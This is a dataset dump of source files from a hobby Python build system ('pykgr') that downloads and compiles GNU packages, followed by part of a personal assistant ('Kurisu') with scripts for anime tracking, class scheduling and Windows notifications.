"alphanum_fraction": 0.7086465954780579, "avg_line_length": 22.173913955688477, "blob_id": "6f131359a33d9b67a386160351384e4222828306", "content_id": "d934c5137052d9a6059e2999de11ab840e72dfb4", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 532, "license_type": "permissive", "max_line_length": 73, "num_lines": 23, "path": "/tests/test_004-builder.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import pykgr\nfrom pykgr.subroutines import add_module, import_from_string, setup_paths\nimport sys\nfrom common import get_current_path\npykgr.config.setup(\"/tmp/pykgr_test\")\n\n\ndef test_loading_module():\n path = get_current_path()\n base_module = path+\"base\"\n add_module(base_module)\n\n assert base_module in sys.path\n\n\ndef test_builder_setup():\n builder = pykgr.Builder(directory=pykgr.config.builder_directory)\n builder.build_toolchain()\n\n\nif __name__ == \"__main__\":\n test_loading_module()\n test_builder_setup()" }, { "alpha_fraction": 0.5963636636734009, "alphanum_fraction": 0.6000000238418579, "avg_line_length": 23.571428298950195, "blob_id": "6251cdff165dfe0269b85c7b71113c6c29babac5", "content_id": "f56f2ed20152e29a939d61d95c028d719f45dc32", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1375, "license_type": "permissive", "max_line_length": 74, "num_lines": 56, "path": "/pykgr/subroutines.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "from pykgr import config\nimport sys\nimport os\n\n\ndef add_module(mod_path):\n # mod_path = \"/\".join(mod_path.split(\"/\")[:-1])\n if mod_path not in sys.path:\n sys.path.insert(0, mod_path)\n\n\ndef import_from_string(string):\n # Return an import module from a string\n # e.g. example.class\n\n packages = string.split(\".\")\n if len(packages):\n main_package = \".\".join(packages[0:-1])\n main_class = packages[-1]\n potential_module = __import__(main_package, fromlist=[main_class])\n package_class = getattr(potential_module, main_class)\n\n return package_class\n\n\ndef load_config(args):\n # Update config class if files are present\n\n for conf_file in [\n \"%s/.pykgr.json\" % os.environ.get('HOME'),\n \"%s/pykgr.json\" % os.environ[\"PWD\"]\n ]:\n if os.path.isfile(conf_file):\n config.from_file(conf_file)\n\n if args.verbose:\n config.verbose = args.verbose\n\n\ndef setup_paths(args):\n # Setup pythonpath so we can call local package\n # classes.\n\n if config.toolchain_package_module:\n add_module(config.toolchain_package_module)\n\n if args.package_module:\n packages = args.package_module\n for pm in packages:\n add_module(pm)\n\n print(\"\\n=\\nFinal $PYTHONPATH:\")\n for d in sys.path:\n if len(d):\n print(\"\\t%s\" % d)\n print(\"==\\n\")" }, { "alpha_fraction": 0.5965834259986877, "alphanum_fraction": 0.6018396615982056, "avg_line_length": 21.41176414489746, "blob_id": "6c6504f9634b9fe61072007b9d26ff9afe5f41c8", "content_id": "470c5105e6a83d65d99501c3b808f91ec8616b43", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 761, "license_type": "permissive", "max_line_length": 77, "num_lines": 34, "path": "/Makefile", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "PY_INT=python3\n\nall: setup\n\nclean:\n\t@-for d in `find pykgr example base -name __pycache__`; do rm -rv $$d; done;\n\t@-for d in `find pykgr example base -name *.pyc`; do rm -rv $$d; done;\n\t@-if [ -d dist ]; then rm -r dist; fi;\n\t@-if [ -f MANIFEST ]; then rm MANIFEST; fi;\n\nprepare: setup\n\t@-$(PY_INT) setup.py sdist;\n\nproper: clean\n\t@-if [ -d env ]; then rm -r env; fi;\n\npush:\n\t@-twine upload dist/*;\n\nsetup:\n\t@-if ! [ -d env ]; then $(PY_INT) -m venv env; fi;\n\t@-source env/bin/activate && pip install -r requirements.txt;\n\nview_links: view_ld_list view_c_list view_cpp_list\n\t@-echo done;\n\nview_ld_list:\n\tld --verbose | grep SEARCH_DIR | tr -s ' ;' \\\\012;\n\nview_c_list:\n\techo | gcc -x c -E -Wp,-v - >/dev/null;\n\nview_cpp_list:\n\tgcc -x c++ -E -Wp,-v - >/dev/null;" }, { "alpha_fraction": 0.5593220591545105, "alphanum_fraction": 0.5738498568534851, "avg_line_length": 23.294116973876953, "blob_id": "d7d99787cc99554404ab16d9a7017f99eea210b3", "content_id": "25cc8a60adf92ac58c94b3afba9e0989251a4afc", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 413, "license_type": "permissive", "max_line_length": 69, "num_lines": 17, "path": "/base/packages/python.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import pykgr\nimport os\n\n\nclass Python(pykgr.Package):\n file_url = \"https://github.com/python/cpython/archive/3.9.tar.gz\"\n name = \"cpython\"\n version = \"3.9\"\n file_name = \"3.9.tar.gz\"\n no_build_dir = True\n\n def configure(self):\n self.shell.command(\n \"./configure\",\n \"--prefix=%s\" % pykgr.config.packages_directory,\n \"--enable-optimizations\"\n ).run()\n" }, { "alpha_fraction": 0.5649209022521973, "alphanum_fraction": 0.5649209022521973, "avg_line_length": 25.38129425048828, "blob_id": "4d1c914f210029a25f0824baa01127c5b75c0589", "content_id": "a772f6e2a3d695d6851dd9d2fb968d21dfbc664a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3666, "license_type": "permissive", "max_line_length": 101, "num_lines": 139, "path": "/pykgr/package.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "from pykgr.shell import Shell\nimport pykgr\nimport os\nimport shutil\n\n\nclass Package(object):\n # This class contains the methods needed to compile most\n # gnu and open source projects.\n #\n # For packages that aren't compiled you can overload any\n # method needed to change the flow (as well as in derived classes,\n # see base/toolchain module for package derivatives.)\n\n build_directory = None\n code_directory = None\n compile_directory = None # e.g. if code_directory has a subdir, so \"{code_directory}/src\" for vim\n subdirectory_location = None\n file_name = None\n file_url = None\n name = None\n repo = False\n repo_url = None\n shell = None\n version = None\n\n no_build_dir = False\n\n def __build__(self):\n if pykgr.config.verbose:\n print(\"\\nBuilding\", self.file_url)\n\n self.get_code()\n self.prepare()\n self.generate()\n\n def __init__(self, **kwargs):\n self.shell = Shell(PWD=pykgr.config.source_directory)\n self.code_directory = \"%s/%s\" % (\n pykgr.config.source_directory,\n \"%s-%s\" % (\n self.name,\n self.version\n )\n )\n\n self.working_directory = self.code_directory\n if self.compile_directory:\n self.working_directory = self.working_directory + self.compile_directory\n\n self.build_directory = \"%s/build\" % self.code_directory\n self.__initialize__()\n\n def __initialize__(self):\n pass\n\n def __str__(self):\n return \"<package [%s-%s]>\" % (self.name, str(self.version))\n\n def configure(self):\n self.shell.command(\n \"%s/configure\" % self.working_directory,\n \"--prefix=%s\" % pykgr.config.packages_directory\n ).run()\n\n def decompress(self):\n if os.path.exists(self.code_directory):\n if pykgr.config.verbose:\n print(\"Decompressed code exists, removing...\")\n self.shell.command(\"rm\", \"-rfv\", self.code_directory).run()\n\n self.untar()\n\n def fetch(self):\n self.shell.cd(pykgr.config.source_tarballs_directory)\n\n self.shell.command(\n \"wget\", \n \"-c\",\n self.file_url.encode()\n ).run()\n\n def generate(self):\n self.make()\n self.install()\n\n def get_code(self):\n if not self.repo:\n self.fetch()\n self.decompress()\n\n def install(self):\n if self.no_build_dir:\n self.shell.cd(self.working_directory)\n else:\n self.shell.cd(self.build_directory)\n\n self.shell.make(\n \"-j%s\" % pykgr.config.make_opts,\n \"install\"\n )\n\n def make(self):\n if self.no_build_dir:\n self.shell.cd(self.working_directory)\n else:\n self.shell.cd(self.build_directory)\n\n self.shell.make(\"-j%s\" % pykgr.config.make_opts)\n\n def prepare(self):\n self.shell.cd(self.working_directory)\n\n if not self.no_build_dir:\n if os.path.exists(self.build_directory):\n shutil.rmtree(self.build_directory)\n\n if not os.path.exists(self.build_directory):\n os.mkdir(self.build_directory)\n self.shell.cd(self.build_directory)\n\n self.pre_configure_run()\n self.configure()\n\n def pre_configure_run(self):\n # Should be overwritten\n pass\n\n def untar(self):\n self.shell.tar(\n \"xvf\",\n pykgr.config.source_directory + \"/tarballs/\" + self.file_name,\n \"-C\",\n pykgr.config.source_directory\n )\n\n\nclass PackageList(object):\n pass" }, { "alpha_fraction": 0.5396825671195984, "alphanum_fraction": 0.5502645373344421, "avg_line_length": 20, "blob_id": "cc904a879bbcf3de28e95b4fe4be00b9de95907d", "content_id": "94d20cb437cf500119a402c7bac67600374b83a5", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 189, "license_type": "permissive", "max_line_length": 40, "num_lines": 9, "path": "/tests/common.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import os\n\n\ndef get_current_path():\n path = os.environ['PWD']\n split_path = path.split(\"/\")\n if split_path[-1] == \"tests\":\n path = \"/\".join(split_path[:-1])\n return path\n" }, { "alpha_fraction": 0.6200640201568604, "alphanum_fraction": 0.6456776857376099, "avg_line_length": 24.324323654174805, "blob_id": "c78af2e86e9df3096e62daa7053f533f43121a70", "content_id": "619558f1e88628a842c0bbf3b30494de38c1cdc1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 937, "license_type": "permissive", "max_line_length": 79, "num_lines": 37, "path": "/tests/test_003-package.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import pykgr\nimport os\npykgr.config.setup(\"/tmp/pykgr_test\")\n\n\nclass Hello(pykgr.Package):\n file_url = \"https://ftp.gnu.org/gnu/hello/hello-2.9.tar.gz\"\n file_name = \"hello-2.9.tar.gz\"\n name = \"hello\"\n version = \"2.9\"\n\n\nclass Vim(pykgr.Package):\n file_url = \"https://github.com/vim/vim/archive/refs/tags/v8.2.3301.tar.gz\"\n file_name = \"v8.2.3301.tar.gz\"\n name = \"vim\"\n version = \"8.2.3301\"\n compile_directory = \"/src\"\n no_build_dir=True\n\n def pre_configure_run(self):\n # Already should be in `working_dir`\n self.shell.make(\"distclean\", display_output=True)\n\n\ndef test_build_packages():\n env = pykgr.Environment()\n\n env.build_package(Hello)\n assert os.path.exists(pykgr.config.packages_directory+\"/bin/hello\") is True\n\n # env.build_package(Vim)\n # assert os.path.exists(pykgr.config.packages_directory+\"/bin/vim\") is True\n\n\nif __name__ == \"__main__\":\n test_build_packages()\n" }, { "alpha_fraction": 0.7096773982048035, "alphanum_fraction": 0.7143980860710144, "avg_line_length": 29.214284896850586, "blob_id": "9b7724f08f17f63a38ed8ca69903eca5ebce214c", "content_id": "b902a4d6e9c6bdfcd603666426f000815bdd6550", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1271, "license_type": "permissive", "max_line_length": 84, "num_lines": 42, "path": "/README.md", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "# pykgr\n\n## A simple, user focused, build system (for learning purposes)\n\nYou will want to edit the pykgr.json file in the root of this repo to \npoint to the repos location. Alternatively you can setup a \n.pykgr.json and pip install it (but use any other dir as the one in \nthis directory will overwrite certain configurations.)\n\nThen just `python -m pykgr --init --build-toolchain -p base.packages.python.Python`\n\nThe packages module is located in the `base` directory which is imported by default.\nYou can pass any arbitrary directory with submodules to then use, e.g. this \ndirectory\n\n . mypackages\n . recipes\n . hello.py\n . python.py\n\nwould allow you to install vim like so\n\n`python -m pykgr -p mypackages.recipes.hello.Hello`\n\nIt can also be used in code, like this\n\n```\nimport pykgr\n\nclass Hello(pykgr.Package):\n file_url = \"https://ftp.gnu.org/gnu/hello/hello-2.9.tar.gz\"\n file_name = \"hello-2.9.tar.gz\"\n name = \"hello\"\n version = \"2.9\"\n \nenv = pykgr.Environment()\nenv.build_package(Hello)\n```\n\nWhich will build the package. The goal is to allow people to maintain a git repo\nsimilar to mypackages, that they could then pull from and build a root-free system\nof packages that, by default, install to $HOME/pykgr.\n\n\n" }, { "alpha_fraction": 0.6732673048973083, "alphanum_fraction": 0.6732673048973083, "avg_line_length": 16.823530197143555, "blob_id": "2578814a7828394b513b1ce3b89a60a21891f629", "content_id": "11bac6f4bac00be1a453e591f44f9cd2c29fc446", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 303, "license_type": "permissive", "max_line_length": 53, "num_lines": 17, "path": "/tests/test_002-environment.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "TEST_DIR=\"/tmp/pykgr_test\"\n\nimport os\n# os.environ[\"root_directory\"] = TEST_DIR # No choice\nimport pykgr\npykgr.config.setup(TEST_DIR)\nfrom pykgr.environment import initialize\n\n\ndef test_setup():\n initialize()\n\n assert os.path.exists(TEST_DIR) == True\n\n\nif __name__ == \"__main__\":\n test_setup()\n" }, { "alpha_fraction": 0.5631188154220581, "alphanum_fraction": 0.5878713130950928, "avg_line_length": 31.31999969482422, "blob_id": "0a913efc8ae1e9a7bf8ddb886d57734f0857e64a", "content_id": "4fc90f4092bb8b25af7138fa24c207c63e7d9199", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 808, "license_type": "permissive", "max_line_length": 85, "num_lines": 25, "path": "/base/packages/gcc.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import pykgr\nimport os\n\n\nclass Gcc(pykgr.Package):\n file_url = \"http://ftp.gnu.org/gnu/gcc/gcc-10.2.0/gcc-10.2.0.tar.xz\"\n file_name = \"gcc-10.2.0.tar.xz\"\n name = \"gcc\"\n version = \"10.2.0\"\n\n def configure(self):\n self.shell.command(\n \"%s/configure\" % self.code_directory,\n \"--build=x86_64-linux-gnu\",\n \"--prefix=%s\" % pykgr.config.builder_directory,\n \"--enable-checking=release\",\n \"--enable-languages=c,c++,fortran\",\n \"--disable-bootstrap\",\n \"--disable-multilib\"\n ).run(display_output = True)\n\n def pre_configure_run(self):\n self.shell.cd(self.working_directory)\n self.shell.command(\"contrib/download_prerequisites\").run(display_output=True)\n self.shell.cd(self.build_directory)\n" }, { "alpha_fraction": 0.6113536953926086, "alphanum_fraction": 0.6113536953926086, "avg_line_length": 20.302326202392578, "blob_id": "accc5f0fd83a56717ec353d6da5f421fb8229f5a", "content_id": "936620f7a6e11dc66e8cf1ba017c7193aa9ebe15", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 916, "license_type": "permissive", "max_line_length": 49, "num_lines": 43, "path": "/pykgr/environment.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import os\nfrom pykgr import config\nfrom pykgr.builder import Builder\n\n\nclass Environment(object):\n builder = None\n variables = None\n \n def __init__(self):\n self.variables = dict(os.environ)\n self.builder = Builder(\n directory=config.builder_directory\n )\n\n def build_builder(self):\n pass\n\n def build_package(self, package_name):\n self.builder.build(package_name)\n\n def __str__(self):\n return \"<Environment: %s>\" % id(self)\n\n\ndef build_directories():\n if not os.path.exists(config.root_directory):\n os.mkdir(config.root_directory)\n for d in [\n config.main_directory,\n config.source_directory,\n config.source_tarballs_directory,\n config.library_directory\n ]:\n if not os.path.exists(d):\n os.mkdir(d)\n\n\ndef initialize():\n build_directories()\n env = Environment()\n\n return env " }, { "alpha_fraction": 0.5757575631141663, "alphanum_fraction": 0.6060606241226196, "avg_line_length": 10.333333015441895, "blob_id": "b154ca971a3d0ff465bc3608ff13acdc57199627", "content_id": "9a27a108a0aeb55518ec32041f5cdb0406e740c0", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 33, "license_type": "permissive", "max_line_length": 20, "num_lines": 3, "path": "/pykgr.sh", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\npython3 -m pykgr $@;" }, { "alpha_fraction": 0.8590909242630005, "alphanum_fraction": 0.8590909242630005, "avg_line_length": 35.83333206176758, "blob_id": "a6d9e91f90982aee44bb85de3321a73db06b0566", "content_id": "e49160aca6e63a8aa11d0940b9766eea7d12fe1d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 220, "license_type": "permissive", "max_line_length": 46, "num_lines": 6, "path": "/pykgr/__init__.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "from pykgr.package import Package\nfrom pykgr.shell import Shell\nfrom pykgr.configuration import conf as config\nfrom pykgr.environment import Environment\nfrom pykgr.builder import Builder\nfrom pykgr.package import Package" }, { "alpha_fraction": 0.5197018384933472, "alphanum_fraction": 0.5214767456054688, "avg_line_length": 26.900989532470703, "blob_id": "c37c781bd30dbbd7b35185d6b4a8878382040c91", "content_id": "df474d736258ac87194cf114080b6d883a645873", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2817, "license_type": "permissive", "max_line_length": 73, "num_lines": 101, "path": "/pykgr/shell.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import os\nimport subprocess\nimport sys\nimport pykgr\n\nclass Shell(object):\n working_dir = None\n # A pythonic shell\n\n def __getattribute__(self, key):\n try:\n data = object.__getattribute__(self, key)\n return data\n except AttributeError as err:\n if key in os.environ:\n return os.environ.get(key)\n else:\n return Command(key)\n\n def __new__(cls, *args, **kwargs):\n # `args` are treated as arguments into a shell,\n # e.g. `Shell(\"ls -l\")` or `Shell(\"ls\", \"-l\")`\n # returns the stdout of `/bin/sh -c \"ls -l\"`\n # while `Shell(\"ls\")` returns a \"program\" (below.)\n #\n # Kwargs are environment variables, e.g.\n # Shell(\"echo $test\", test=\"world\") is akin\n # to test=\"world\" echo $test.\n #\n # An empty class returns a blank shell instance,\n # for \"interactive\" mode like `sh = Shell(); sh.command(\"ls -l\")`\n #\n # For a blank shell in a given folder you would, e.g.\n # Shell(PWD=\"/my/source/code/folder\").command(\"configure -flag\")\n # or\n # Shell(PWD=\"/my/source/code/folder\").configure(\"-flag\")\n if len(args):\n print(args)\n\n if len(kwargs):\n for key in kwargs:\n if key == \"PWD\":\n os.chdir(kwargs.get(\"PWD\"))\n os.environ[key] = kwargs.get(key)\n\n self = super(Shell, cls).__new__(cls)\n return self\n\n def __str__(self):\n return \"<Shell @ %s>\" % (\n os.environ.get('PWD')\n )\n\n def cd(self, directory):\n os.chdir(directory)\n os.environ[\"PWD\"] = directory\n\n def command(self, *args, **kwargs):\n cmd = args[0]\n arguments = []\n if len(args) >= 2:\n arguments = args[1:]\n\n return Command(cmd, *arguments, **kwargs)\n\n\nclass Command:\n args = None\n env = None\n program = None\n\n def __call__(self, *args, **kwargs):\n self.args = args\n\n return self.run(display_output=kwargs.get('display_output'))\n\n def __init__(self, command, *args, **kwargs):\n self.program = command\n self.args = args\n self.env = kwargs\n\n def run(self, display_output = False):\n command_line = [\n self.program\n ] + [e for e in self.args]\n\n process = subprocess.Popen(\n command_line,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT\n )\n\n if pykgr.config.verbose:\n for line in iter(process.stdout.readline, b''):\n sys.stdout.write(line.decode(\"utf-8\", \"strict\"))\n\n output, error = process.communicate()\n if type(output) == bytes:\n output = output.decode(\"utf-8\", \"strict\")\n\n return output" }, { "alpha_fraction": 0.5664160251617432, "alphanum_fraction": 0.5889724493026733, "avg_line_length": 25.600000381469727, "blob_id": "498b268dc25f252586fe023c6ddb94a0779f58bf", "content_id": "48503c67bfa47d8f91f1d905bf5d2b9014adef18", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 399, "license_type": "permissive", "max_line_length": 63, "num_lines": 15, "path": "/base/packages/glibc.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import pykgr\nimport os\n\n\nclass Glibc(pykgr.Package):\n file_url = \"http://ftp.gnu.org/gnu/glibc/glibc-2.32.tar.xz\"\n file_name = \"glibc-2.32.tar.xz\"\n name = \"glibc\"\n version = \"2.32\"\n \n def configure(self):\n self.shell.command(\n \"%s/configure\" % self.code_directory,\n \"--prefix=%s\" % pykgr.config.library_directory\n ).run(display_output = True)\n" }, { "alpha_fraction": 0.565016508102417, "alphanum_fraction": 0.5653465390205383, "avg_line_length": 30.24742317199707, "blob_id": "10ef7f68a02ae1eab212e1b4515f52fccadcf4a3", "content_id": "ec37b1b16e447fb860b065c8fd4aa869ff9f9a59", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3030, "license_type": "permissive", "max_line_length": 128, "num_lines": 97, "path": "/pykgr/configuration.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import os\nimport json\n\nclass Configuration(object):\n prefix = \"pykgr_\"\n\n def __init__(self):\n self.setup()\n\n def __str__(self):\n return \"<pykgr.Configuration %s>\" % str(self.all())\n\n def all(self):\n buffer = {}\n for key in self.keys():\n buffer[key] = getattr(self, key)\n\n return buffer\n\n def from_file(self, json_file):\n print(\"Loading Config\", json_file)\n conf = None\n with open(json_file, 'r') as fp:\n conf = json.loads(fp.read())\n fp.close()\n\n if conf:\n keys = self.keys()\n for k in conf:\n if k in keys:\n value = conf[k]\n if \"{\" in value:\n value = replace_vars(self, value)\n setattr(self, k, value)\n\n def keys(self):\n return [\n key\n for key in dir(self)\n if \"__\" not in key and key != \"prefix\" and not callable(getattr(self, key))\n ]\n\n def setup(self, root_dir=None):\n self.root_directory = root_dir if root_dir else getenv(self.prefix, \"root_directory\", envget(\"HOME\"))\n self.main_directory = getenv(self.prefix, \"main_directory\", \"%s/pykgr\" % self.root_directory)\n \n self.builder_directory = getenv(self.prefix, \"builder_directory\", \"%s/builder\" % self.main_directory)\n self.library_directory = getenv(self.prefix, \"library_directory\", \"%s/library\" % self.main_directory)\n self.packages_directory = getenv(self.prefix, \"packages_directory\", \"%s/packages\" % self.main_directory)\n \n self.source_directory = getenv(self.prefix, \"source_directory\", \"%s/source\" % self.main_directory)\n self.source_tarballs_directory = getenv(self.prefix, \"source_tarballs_directory\", \"%s/tarballs\" % self.source_directory)\n\n self.toolchain_package_module = getenv(self.prefix, \"toolchain_package_module\", None)\n self.main_package_module = getenv(self.prefix, \"main_package_module\", \"%s/packages\" % self.main_directory)\n self.local_package_module = getenv(self.prefix, \"local_package_module\", None)\n\n self.make_opts = getenv(self.prefix, \"make_opts\", \"1\")\n self.verbose = getenv(self.prefix, \"verbose\", False)\n\n\ndef envget(key):\n value = os.environ.get(key)\n if value:\n if value.strip() == \"True\":\n value = True\n elif value.strip() == \"False\":\n value = False\n return value\n\n\ndef getenv(prefix, key, default_value = None):\n key_name = \"%s%s\" % (\n prefix,\n key\n )\n \n value = envget(key_name)\n if not value:\n value = default_value\n return value\n\n\ndef replace_vars(instance, text):\n for key in instance.keys():\n string_to_find = \"{%s}\" % key\n if string_to_find in text:\n value = object.__getattribute__(instance, key)\n text = text.replace(\n string_to_find,\n value\n )\n\n return text\n\n\nconf = Configuration()" }, { "alpha_fraction": 0.5835051536560059, "alphanum_fraction": 0.6020618677139282, "avg_line_length": 29.3125, "blob_id": "20816828500d7844d19a934edbbc52fff7718334", "content_id": "ab151749c6694955b0e7b9b63203df50ba498edf", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 485, "license_type": "permissive", "max_line_length": 69, "num_lines": 16, "path": "/base/packages/binutils.py", "repo_name": "DylanEHolland/pykgr.old", "src_encoding": "UTF-8", "text": "import pykgr\nimport os\n\n\nclass Binutils(pykgr.Package):\n file_url = \"http://ftp.gnu.org/gnu/binutils/binutils-2.35.tar.xz\"\n file_name = \"binutils-2.35.tar.xz\"\n name = \"binutils\"\n version = \"2.35\"\n \n def configure(self):\n self.shell.command(\n \"%s/configure\" % self.code_directory,\n \"--prefix=%s\" % pykgr.config.builder_directory,\n \"--with-lib-path=%s/lib\" % pykgr.config.library_directory\n ).run(display_output = True)\n" } ]
22
sndev28/Kurisu-Virtual-Assistant
https://github.com/sndev28/Kurisu-Virtual-Assistant
8da3247d227186315bbc37a57e89f581534ddf99
7447935c8f87e5ba104174b8457beeba237fee35
d1722a7451a1c5c80688db8b673a2a8f8160091c
refs/heads/master
2023-07-15T22:43:39.819966
2021-08-31T09:50:32
2021-08-31T09:50:32
393,433,177
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5788876414299011, "alphanum_fraction": 0.5913734436035156, "avg_line_length": 25.454545974731445, "blob_id": "815cd8d322e0fbff377c92c7f50b49050a690068", "content_id": "3ec34ed41d9b712cebb128857573bf198167de1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 883, "license_type": "no_license", "max_line_length": 88, "num_lines": 33, "path": "/kurisu/Notification Manager/animeTracker/animeTracker.py", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "import requests\nimport time\n\n\ndef AnimeTracker(toast, URL):\n \n REFRESH_TIME = 12 * 60 * 60 # hours * min * secs // refresh time in seconds\n\n BASE_URL = URL + 'animetracker'\n\n print('Anime tracker ready!')\n\n while True:\n response = requests.get(BASE_URL, headers = {'criterion': 'recentAired'})\n\n if response.status_code != 200:\n print('Error in anime tracker! Exited!!')\n break\n\n listOfRecentAired = response.json().get('recentAired')\n\n if listOfRecentAired != None and listOfRecentAired != []:\n notificationMessage = 'Recently aired : \\n'\n for anime in listOfRecentAired:\n notificationMessage += '• ' + anime.get('name') + '\\n'\n\n toast.show_toast(title = 'Kurisu', msg = notificationMessage, duration = 10)\n\n\n time.sleep(REFRESH_TIME)\n\n \n return\n\n\n \n\n" }, { "alpha_fraction": 0.49481865763664246, "alphanum_fraction": 0.4993523359298706, "avg_line_length": 25.35344886779785, "blob_id": "cd43cea5f1ff18d720dc76d253d0c69b8ed46de4", "content_id": "a469aa425bd2e1a1415fc55a7c1cbb9f1bf9b74e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3088, "license_type": "no_license", "max_line_length": 121, "num_lines": 116, "path": "/kurisu/Notification Manager/classScheduler/classScheduler.py", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "import requests\nfrom datetime import datetime\nimport webbrowser as wb\nimport tkinter\nfrom tkinter import messagebox\nimport psutil\nimport time\n\nweekdays = {\n 0 : 'monday',\n 1 : 'tuesday',\n 2 : 'wednesday',\n 3 : 'thursday',\n 4 : 'friday',\n 5 : 'saturday',\n 6 : 'sunday'\n}\n\ndef getSchedule(day, URL):\n print('Getting schedules for the day!')\n BASE_URL = URL + 'classSchedules'\n response = requests.put(BASE_URL, data = {'day': day})\n\n return response.json()[day]\n\ndef killZoom():\n for proc in psutil.process_iter():\n if 'Zoom' in proc.name():\n proc.kill()\n\n\ndef ClassScheduler(URL, autoMode = False):\n\n parent = tkinter.Tk()\n parent.overrideredirect(1)\n parent.withdraw()\n \n REFRESH_TIME = 10 * 60 # min * secs // refresh time in seconds\n\n classInProgress = None\n previousCheckTime = datetime.now()\n\n day = weekdays[int(datetime.now().weekday())]\n\n schedules = getSchedule(day, URL)\n\n\n while True:\n day = weekdays[int(datetime.now().weekday())]\n\n currentTime = datetime.now()\n\n if (currentTime - previousCheckTime).seconds >= REFRESH_TIME:\n previousCheckTime = currentTime\n schedules = getSchedule(day, URL)\n\n\n if classInProgress != None:\n\n endHour, endMin = classInProgress['endTime'].split(':')\n\n endTime = datetime(\n year = currentTime.year,\n month = currentTime.month,\n day = currentTime.day,\n hour = int(endHour),\n minute = int(endMin)\n ) \n\n if currentTime > endTime:\n if autoMode == False:\n response = messagebox.askokcancel('Kurisu', 'Do you want to close the current class?', parent=parent)\n if response == True:\n killZoom()\n \n else:\n killZoom()\n\n classInProgress = None\n\n\n \n\n for _class in schedules:\n startHour, startMin = _class['startTime'].split(':')\n endHour, endMin = _class['endTime'].split(':')\n\n startTime = datetime(\n year = currentTime.year,\n month = currentTime.month,\n day = currentTime.day,\n hour = int(startHour),\n minute = int(startMin)\n )\n\n endTime = datetime(\n year = currentTime.year,\n month = currentTime.month,\n day = currentTime.day,\n hour = int(endHour),\n minute = int(endMin)\n )\n \n \n\n if currentTime >= startTime and currentTime < endTime:\n if classInProgress != _class:\n classInProgress = _class\n if classInProgress != None:\n killZoom()\n\n wb.open(_class['link']) \n break\n \n\n time.sleep(60)\n \n \n\n\n\n\n\n" }, { "alpha_fraction": 0.6689922213554382, "alphanum_fraction": 0.6837209463119507, "avg_line_length": 26.717391967773438, "blob_id": "87eb0072a4dbd98c64eff4c17ad880c381d190ac", "content_id": "d5eb06970fc20577417f0d253c6c70885a19b1f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1290, "license_type": "no_license", "max_line_length": 94, "num_lines": 46, "path": "/kurisu/Notification Manager/kurisu.py", "repo_name": "sndev28/Kurisu-Virtual-Assistant", "src_encoding": "UTF-8", "text": "import time\nimport threading\nfrom win10toast import ToastNotifier\n\nfrom scheduleManager.scheduleManager import ScheduleManager\nfrom animeTracker.animeTracker import AnimeTracker\nfrom classScheduler.classScheduler import ClassScheduler\n\ntoast = ToastNotifier()\n\nURL = 'http://192.168.1.35:5000/'\n\n\n\nif __name__ == '__main__':\n\n\n #Schedule Manager\n\n # scheduleLoop = threading.Thread(target = ScheduleManager, args = (toast, URL))\n # scheduleLoop.setDaemon(True)\n # scheduleLoop.start()\n\n #Anime Tracker\n \n animeLoop = threading.Thread(target = AnimeTracker, args = (toast, 